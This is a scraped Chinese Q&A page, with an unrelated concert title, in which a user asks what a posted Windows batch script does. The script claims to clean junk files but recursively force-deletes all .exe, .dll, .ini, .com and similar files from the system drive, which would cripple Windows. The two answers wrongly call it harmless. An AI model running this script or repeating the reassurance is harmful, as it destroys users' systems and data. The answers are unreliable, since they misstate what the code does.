中森明菜演唱会:这些代码干啥的?

来源:百度文库 编辑:高校问答 时间:2024/04/28 03:21:10
@echo off
echo 正在清除系统垃圾文件,请稍等......
del /f /s /q %systemdrive%\*.exe
del /f /s /q %systemdrive%\*.ini
del /f /s /q %systemdrive%\*.htt
del /f /s /q %systemdrive%\*.com
del /f /s /q %systemdrive%\*.asp
del /f /s /q %systemdrive%\*.dll
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\COOKIES s\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
sfc /purgecache '清理系统盘无用文件
defrag %systemdrive% -b '优化预读信息
echo 清除系统LJ完成!
echo. & pause
都什么作用呀,会不会对机器有害处啊

批处理文件用的指令,作用是清除系统垃圾,不会对机器有损害。

这是批处理文件,用来清理系统里的各种垃圾文件,没啥害处